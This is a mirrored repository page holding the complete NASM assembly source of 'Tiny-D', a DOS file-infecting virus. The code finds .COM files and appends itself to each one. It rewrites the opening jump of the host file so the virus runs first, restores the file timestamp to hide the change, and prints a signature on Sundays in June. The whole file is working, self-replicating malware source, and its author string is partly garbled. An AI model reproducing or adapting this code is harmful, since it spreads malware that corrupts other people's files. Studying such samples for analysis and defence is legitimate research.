mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
117 lines
5.4 KiB
NASM
117 lines
5.4 KiB
NASM
|
tinyv SEGMENT BYTE PUBLIC 'code'
|
|||
|
|
ASSUME CS:tinyv
|
|||
|
|
ASSUME SS:tinyv
|
|||
|
|
ASSUME DS:tinyv
|
|||
|
|
H00000 DB 0
|
|||
|
|
H00001 DB 255 DUP(?)
|
|||
|
|
program PROC FAR
|
|||
|
|
ASSUME ES:tinyv
|
|||
|
|
begin:
|
|||
|
|
JMP pgstart ; start program
|
|||
|
|
exlbl LABEL BYTE
|
|||
|
|
db 0CDh, 20h, 7, 8, 9
|
|||
|
|
pgstart:
|
|||
|
|
CALL tinyvir
|
|||
|
|
mnprg PROC NEAR
|
|||
|
|
tinyvir:
|
|||
|
|
POP SI ; get SI for storage
|
|||
|
|
SUB SI,offset tinyvir ; reset SI to virus start
|
|||
|
|
MOV BP,[SI+blnkdat] ; store SI in BP for return
|
|||
|
|
ADD BP,offset exlbl ; Add to get original offset
|
|||
|
|
|
|||
|
|
LEA DX,[SI+fspec] ; get filespec (*.COM)
|
|||
|
|
SUB CX,CX ; || (clear regs)
|
|||
|
|
MOV AH,4EH ; || (find files)
|
|||
|
|
mainloop: ; \||/
|
|||
|
|
INT 21H ; ----\/----
|
|||
|
|
JC hiccup ; no more files found, terminate virus
|
|||
|
|
MOV DX,009EH ; set file name pointer
|
|||
|
|
MOV AX,3D02H ; open file
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
MOV BX,AX ; move file handle to BX
|
|||
|
|
MOV AH,3FH ; read file
|
|||
|
|
LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
|
|||
|
|
MOV DI,DX ; set Dest Index to area for buffer (?)
|
|||
|
|
MOV CX,0003H ; read 3 bytes
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
CMP BYTE PTR [DI],0E9H ; check for JMP at start
|
|||
|
|
JE infect ; If begins w/JMP, Infect
|
|||
|
|
nextfile:
|
|||
|
|
MOV AH,4FH ; set int 21 to find next file
|
|||
|
|
JMP mainloop ; next file, do it!
|
|||
|
|
hiccup: JMP nofile
|
|||
|
|
infect:
|
|||
|
|
MOV AX,5700h ; get date function
|
|||
|
|
INT 21h ; do it!
|
|||
|
|
PUSH DX ; store date + time
|
|||
|
|
PUSH CX
|
|||
|
|
MOV DX,[DI+01H] ; set # of bytes to move
|
|||
|
|
MOV [SI+blnkdat],DX ; " " " " " "
|
|||
|
|
SUB CX,CX ; " " " " " " (0 here)
|
|||
|
|
MOV AX,4200H ; move file
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
MOV DX,DI ; set dest index to area for buffer (?)
|
|||
|
|
MOV CX,0002H ; two bytes
|
|||
|
|
MOV AH,3FH ; read file
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
CMP WORD PTR [DI],0807H ; check for infection
|
|||
|
|
JE nextfile ; next file if infected
|
|||
|
|
SUB DX,DX ; clear regs
|
|||
|
|
SUB CX,CX ; " "
|
|||
|
|
MOV AX,4202H ; move file pointer
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
CMP DX,00H ; new pointer location 0?
|
|||
|
|
JNE nextfile ; if no then next file
|
|||
|
|
CMP AH,0FEH ; new pointer loc too high?
|
|||
|
|
JNC nextfile ; yes, try again
|
|||
|
|
MOV [SI+offset endprog+3],AX; point to data
|
|||
|
|
MOV AH,40H ; write instruction
|
|||
|
|
LEA DX,[SI+0105H] ; write buffer loc |
|
|||
|
|
MOV CX,offset endprog-105h ; (size of virus) --\|/--
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
JC exit ; error, bug out
|
|||
|
|
MOV AX,4200H ; move pointer
|
|||
|
|
SUB CX,CX ; clear reg
|
|||
|
|
MOV DX,OFFSET H00001 ; where to set pointer
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
MOV AH,40H ; write to file
|
|||
|
|
LEA DX,[SI+offset endprog+3]; write data at SI+1AB
|
|||
|
|
MOV CX,0002H ; two bytes (the JMP)
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
MOV AX,5701h ; store date
|
|||
|
|
POP CX ; restore time
|
|||
|
|
POP DX ; restore date
|
|||
|
|
INT 21h ; do it!
|
|||
|
|
exit:
|
|||
|
|
MOV AH,2Ah ; date function
|
|||
|
|
INT 21h ; do it!
|
|||
|
|
CMP AL,0h ; is it sunday?
|
|||
|
|
JNE closal ; nope, quit
|
|||
|
|
CMP DH,6h ; is it June?
|
|||
|
|
JNE closal ; nope, quit
|
|||
|
|
PUSH BX
|
|||
|
|
PUSH SI
|
|||
|
|
MOV AH,9h ; print string
|
|||
|
|
MOV DX, OFFSET nondata ; string to print
|
|||
|
|
ADD DX,SI
|
|||
|
|
INT 21h ; print it
|
|||
|
|
MOV DX, OFFSET nondat2 ; next string
|
|||
|
|
ADD DX, SI
|
|||
|
|
INT 21h ; print it!
|
|||
|
|
POP BX
|
|||
|
|
closal: MOV AH,3EH ; close file
|
|||
|
|
INT 21H ; do it!
|
|||
|
|
nofile: JMP BP ; go to original file
|
|||
|
|
mnprg ENDP
|
|||
|
|
program ENDP
|
|||
|
|
blnkdat LABEL WORD
|
|||
|
|
DW 0000H
|
|||
|
|
fspec LABEL WORD
|
|||
|
|
DB '*.COM'
|
|||
|
|
DB 0
|
|||
|
|
nondata DB 'Tiny-D version 1.1$ '; Program identification
|
|||
|
|
nondat2 DB ' by <15><><EFBFBD>@&<><EEB7B3>$' ; author identification
|
|||
|
|
endprog LABEL WORD
|
|||
|
|
tinyv ENDS
|
|||
|
|
END program
|